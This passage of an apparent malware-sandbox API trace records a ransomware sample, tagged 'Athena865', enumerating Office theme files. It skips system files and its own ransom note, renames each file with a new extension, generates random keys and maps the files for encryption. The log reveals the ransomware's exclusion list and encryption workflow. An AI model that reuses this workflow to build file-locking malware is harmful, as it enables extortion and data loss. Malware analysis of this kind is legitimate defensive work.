| out: phProv=0x241d174*=0x54ed48) returned 1 [0137.624] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.624] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.624] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.625] CloseHandle (hObject=0x17c) returned 1 [0137.625] CloseHandle (hObject=0x154) returned 1 [0137.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.625] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2=".") returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="..") returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="windows") returned -1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="bootmgr") returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="temp") returned -1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="pagefile.sys") returned -1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="boot") returned 1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="ids.txt") returned -1 [0137.625] lstrcmpiW (lpString1="Executive.xml", lpString2="ntuser.dat") returned -1 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2="perflogs") returned -1 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2="MSBuild") returned -1 [0137.626] lstrlenW (lpString="Executive.xml") returned 13 [0137.626] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Executive.xml" | out: lpString1="Executive.xml") returned="Executive.xml" [0137.626] lstrlenW (lpString="Executive.xml") returned 13 [0137.626] lstrlenW (lpString="Athena865") returned 9 [0137.626] lstrcmpiW (lpString1="utive.xml", lpString2="Athena865") returned 1 [0137.626] lstrlenW (lpString=".dll") returned 4 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2=".dll") returned 1 [0137.626] lstrlenW (lpString=".lnk") returned 4 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2=".lnk") returned 1 [0137.626] lstrlenW (lpString=".ini") returned 4 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2=".ini") returned 1 [0137.626] lstrlenW (lpString=".sys") returned 4 [0137.626] lstrcmpiW (lpString1="Executive.xml", lpString2=".sys") returned 1 [0137.626] lstrlenW (lpString="Executive.xml") returned 13 [0137.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Athena865") returned 88 [0137.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.athena865"), dwFlags=0x1) returned 1 [0137.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3631) returned 1 [0137.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.629] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.629] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.629] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x17c [0137.631] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0137.632] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.632] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.632] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.633] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.633] CloseHandle (hObject=0x17c) returned 1 [0137.633] CloseHandle (hObject=0x154) returned 1 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.634] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2=".") returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="..") returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="windows") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr") returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="temp") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="pagefile.sys") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="boot") returned 1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="ids.txt") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="perflogs") returned -1 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2="MSBuild") returned -1 [0137.634] lstrlenW (lpString="Flow.xml") returned 8 [0137.634] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Flow.xml" | out: lpString1="Flow.xml") returned="Flow.xml" [0137.634] lstrlenW (lpString="Flow.xml") returned 8 [0137.634] lstrlenW (lpString="Athena865") returned 9 [0137.634] lstrlenW (lpString=".dll") returned 4 [0137.634] lstrcmpiW (lpString1="Flow.xml", lpString2=".dll") returned 1 [0137.635] lstrlenW (lpString=".lnk") returned 4 [0137.635] lstrcmpiW (lpString1="Flow.xml", lpString2=".lnk") returned 1 [0137.635] lstrlenW (lpString=".ini") returned 4 [0137.635] lstrcmpiW (lpString1="Flow.xml", lpString2=".ini") returned 1 [0137.635] lstrlenW (lpString=".sys") returned 4 [0137.635] lstrcmpiW (lpString1="Flow.xml", lpString2=".sys") returned 1 [0137.635] lstrlenW (lpString="Flow.xml") returned 8 [0137.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Athena865") returned 83 [0137.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.athena865"), dwFlags=0x1) returned 1 [0137.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.636] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3509) returned 1 [0137.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.637] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.638] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.638] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.638] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c0, lpName=0x0) returned 0x17c [0137.639] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c0) returned 0x100000 [0137.640] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.641] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.641] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.642] CloseHandle (hObject=0x17c) returned 1 [0137.642] CloseHandle (hObject=0x154) returned 1 [0137.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.642] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2=".") returned 1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="..") returned 1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="windows") returned -1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr") returned 1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="temp") returned -1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="pagefile.sys") returned -1 [0137.642] lstrcmpiW (lpString1="Foundry.xml", lpString2="boot") returned 1 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2="ids.txt") returned -1 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat") returned -1 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2="perflogs") returned -1 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2="MSBuild") returned -1 [0137.643] lstrlenW (lpString="Foundry.xml") returned 11 [0137.643] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Foundry.xml" | out: lpString1="Foundry.xml") returned="Foundry.xml" [0137.643] lstrlenW (lpString="Foundry.xml") returned 11 [0137.643] lstrlenW (lpString="Athena865") returned 9 [0137.643] lstrcmpiW (lpString1="undry.xml", lpString2="Athena865") returned 1 [0137.643] lstrlenW (lpString=".dll") returned 4 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2=".dll") returned 1 [0137.643] lstrlenW (lpString=".lnk") returned 4 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2=".lnk") returned 1 [0137.643] lstrlenW (lpString=".ini") returned 4 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2=".ini") returned 1 [0137.643] lstrlenW (lpString=".sys") returned 4 [0137.643] lstrcmpiW (lpString1="Foundry.xml", lpString2=".sys") returned 1 [0137.643] lstrlenW (lpString="Foundry.xml") returned 11 [0137.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Athena865") returned 86 [0137.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.athena865"), dwFlags=0x1) returned 1 [0137.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.645] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3796) returned 1 [0137.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.646] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.647] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.647] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.647] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11e0, lpName=0x0) returned 0x17c [0137.648] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11e0) returned 0x100000 [0137.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.650] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.650] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.651] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.651] CloseHandle (hObject=0x17c) returned 1 [0137.651] CloseHandle (hObject=0x154) returned 1 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.651] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0137.651] lstrcmpiW (lpString1="Grid.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.651] lstrcmpiW (lpString1="Grid.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.651] lstrcmpiW (lpString1="Grid.xml", lpString2=".") returned 1 [0137.651] lstrcmpiW (lpString1="Grid.xml", lpString2="..") returned 1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="windows") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr") returned 1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="temp") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="pagefile.sys") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="boot") returned 1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="ids.txt") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="perflogs") returned -1 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2="MSBuild") returned -1 [0137.652] lstrlenW (lpString="Grid.xml") returned 8 [0137.652] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Grid.xml" | out: lpString1="Grid.xml") returned="Grid.xml" [0137.652] lstrlenW (lpString="Grid.xml") returned 8 [0137.652] lstrlenW (lpString="Athena865") returned 9 [0137.652] lstrlenW (lpString=".dll") returned 4 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2=".dll") returned 1 [0137.652] lstrlenW (lpString=".lnk") returned 4 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2=".lnk") returned 1 [0137.652] lstrlenW (lpString=".ini") returned 4 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2=".ini") returned 1 [0137.652] lstrlenW (lpString=".sys") returned 4 [0137.652] lstrcmpiW (lpString1="Grid.xml", lpString2=".sys") returned 1 [0137.652] lstrlenW (lpString="Grid.xml") returned 8 [0137.652] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Athena865") returned 83 [0137.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.athena865"), dwFlags=0x1) returned 1 [0137.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.654] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3673) returned 1 [0137.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.656] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.656] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.656] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1160, lpName=0x0) returned 0x17c [0137.657] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1160) returned 0x100000 [0137.658] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.659] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.659] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) 